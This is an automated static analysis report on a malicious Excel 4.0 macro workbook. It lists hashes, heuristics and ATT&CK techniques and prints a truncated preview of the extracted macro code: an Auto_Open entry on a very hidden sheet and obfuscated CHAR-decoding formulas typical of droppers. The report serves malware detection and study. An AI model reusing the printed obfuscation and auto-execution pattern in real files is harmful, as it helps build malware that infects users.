Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0a5702c9d96465fe…

MALICIOUS

Office (OLE)

193.5 KB Created: 2020-04-09 12:29:51 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 14c79b0f0f81eadf8f06b9427464a224 SHA-1: 20f68cc5c4a893b423197a45c7f85b035a65e914 SHA-256: 0a5702c9d96465fe0c197d0c145700c4f72ee40c11dd9cf6c132c0546cb1fc72
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open defined name, which is a critical finding indicating potential for automatic execution upon opening. The macros utilize dangerous formula APIs, including RUN, suggesting an attempt to execute arbitrary code. While the full macro logic is truncated, the presence of Auto_Open and dangerous functions strongly implies a downloader or dropper functionality. No specific family could be identified.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.microsoft.com/photo/1.0/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 21325 bytes
SHA-256: 5bf2fe8936046500decbac272fee73fcf37ec782f66960cf58463b18ebb6d6d2
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  1CevrBmo1
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!BA1 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  1CevrBmo1,BA1,"FORMULA(F94-A89-L84-R93-DAY(NOW()),V97)",""
'  1CevrBmo1,BA2,APP.MAXIMIZE(),""
'  1CevrBmo1,BA3,"FORMULA(CHAR(A1-V97)&CHAR(A2-V97)&CHAR(A3-V97)&CHAR(A4-V97)&CHAR(A5-V97)&CHAR(A6-V97)&CHAR(A7-V97)&CHAR(A8-V97)&CHAR(A9-V97)&CHAR(A10-V97)&CHAR(A11-V97)&CHAR(A12-V97)&CHAR(A13-V97)&CHAR(A14-V97)&CHAR(A15-V97)&CHAR(A16-V97)&CHAR(A17-V97)&CHAR(A18-V97)&CHAR(A19-V97)&CHAR(A20-V97)&CHAR(A21-V97)&CHAR(A22-V97)&CHAR(A23-V97)&CHAR(A24-V97)&CHAR(A25-V97)&CHAR(A26-V97)&CHAR(A27-V97)&CHAR(A28-V97)&CHAR(A29-V97)&CHAR(A30-V97)&CHAR(A31-V97)&CHAR(A32-V97)&CHAR(A33-V97)&CHAR(A34-V97)&CHAR(A35-V97)&CHAR(A36-V97)&CHAR(A37-V97)&CHAR(A38-V97)&CHAR(A39-V97)&CHAR(A40-V97),BB1)",""
'  1CevrBmo1,BA4,"FORMULA(CHAR(B1-V97)&CHAR(B2-V97)&CHAR(B3-V97)&CHAR(B4-V97)&CHAR(B5-V97)&CHAR(B6-V97)&CHAR(B7-V97)&CHAR(B8-V97)&CHAR(B9-V97)&CHAR(B10-V97)&CHAR(B11-V97)&CHAR(B12-V97)&CHAR(B13-V97)&CHAR(B14-V97)&CHAR(B15-V97)&CHAR(B16-V97)&CHAR(B17-V97)&CHAR(B18-V97)&CHAR(B19-V97)&CHAR(B20-V97)&CHAR(B21-V97)&CHAR(B22-V97)&CHAR(B23-V97)&CHAR(B24-V97)&CHAR(B25-V97)&CHAR(B26-V97)&CHAR(B27-V97)&CHAR(B28-V97)&CHAR(B29-V97)&CHAR(B30-V97)&CHAR(B31-V97)&CHAR(B32-V97)&CHAR(B33-V97)&CHAR(B34-V97)&CHAR(B35-V97)&CHAR(B36-V97)&CHAR(B37-V97)&CHAR(B38-V97)&CHAR(B39-V97)&CHAR(B40-V97),BB2)",""
'  1CevrBmo1,BA5,"FORMULA(CHAR(C1-V97)&CHAR(C2-V97)&CHAR(C3-V97)&CHAR(C4-V97)&CHAR(C5-V97)&CHAR(C6-V97)&CHAR(C7-V97)&CHAR(C8-V97)&CHAR(C9-V97)&CHAR(C10-V97)&CHAR(C11-V97)&CHAR(C12-V97)&CHAR(C13-V97)&CHAR(C14-V97)&CHAR(C15-V97)&CHAR(C16-V97)&CHAR(C17-V97)&CHAR(C18-V97)&CHAR(C19-V97)&CHAR(C20-V97)&CHAR(C21-V97)&CHAR(C22-V97)&CHAR(C23-V97)&CHAR(C24-V97)&CHAR(C25-V97)&CHAR(C26-V97)&CHAR(C27-V97)&CHAR(C28-V97)&CHAR(C29-V97)&CHAR(C30-V97)&CHAR(C31-V97)&CHAR(C32-V97)&CHAR(C33-V97)&CHAR(C34-V97)&CHAR(C35-V97),BB3)",""
'  1CevrBmo1,BA6,"FORMULA(CHAR(D1-V97)&CHAR(D2-V97)&CHAR(D3-V97)&CHAR(D4-V97)&CHAR(D5-V97)&CHAR(D6-V97)&CHAR(D7-V97)&CHAR(D8-V97)&CHAR(D9-V97)&CHAR(D10-V97)&CHAR(D11-V97)&CHAR(D12-V97)&CHAR(D13-V97)&CHAR(D14-V97)&CHAR(D15-V97)&CHAR(D16-V97)&CHAR(D17-V97)&CHAR(D18-V97)&CHAR(D19-V97)&CHAR(D20-V97)&CHAR(D21-V97)&CHAR(D22-V97)&CHAR(D23-V97)&CHAR(D24-V97)&CHAR(D25-V97)&CHAR(D26-V97)&CHAR(D27-V97)&CHAR(D28-V97)&CHAR(D29-V97)&CHAR(D30-V97)&CHAR(D31-V97)&CHAR(D32-V97)&CHAR(D33-V97)&CHAR(D34-V97)&CHAR(D35-V97),BB4)",""
'  1CevrBmo1,BA7,"FORMULA(CHAR(E1-V97)&CHAR(E2-V97)&CHAR(E3-V97)&CHAR(E4-V97)&CHAR(E5-V97)&CHAR(E6-V97)&CHAR(E7-V97)&CHAR(E8-V97)&CHAR(E9-V97)&CHAR(E10-V97)&CHAR(E11-V97)&CHAR(E12-V97)&CHAR(E13-V97)&CHAR(E14-V97)&CHAR(E15-V97)&CHAR(E16-V97)&CHAR(E17-V97)&CHAR(E18-V97)&CHAR(E19-V97)&CHAR(E20-V97)&CHAR(E21-V97)&CHAR(E22-V97)&CHAR(E23-V97)&CHAR(E24-V97)&CHAR(E25-V97)&CHAR(E26-V97)&CHAR(E27-V97)&CHAR(E28-V97)&CHAR(E29-V97)&CHAR(E30-V97)&CHAR(E31-V97)&CHAR(E32-V97)&CHAR(E33-V97)&CHAR(E34-V97)&CHAR(E35-V97)&CHAR(E36-V97)&CHAR(E37-V97)&CHAR(E38-V97)&CHAR(E39-V97)&CHAR(E40-V97)&CHAR(E41-V97)&CHAR(E42-V97)&CHAR(E43-V97)&CHAR(E44-V97)&CHAR(E45-V97)&CHAR(E46-V97)&CHAR(E47-V97)&CHAR(E48-V97)&CHAR(E49-V97)&CHAR(E50-V97)&CHAR(E51-V9
... (truncated)

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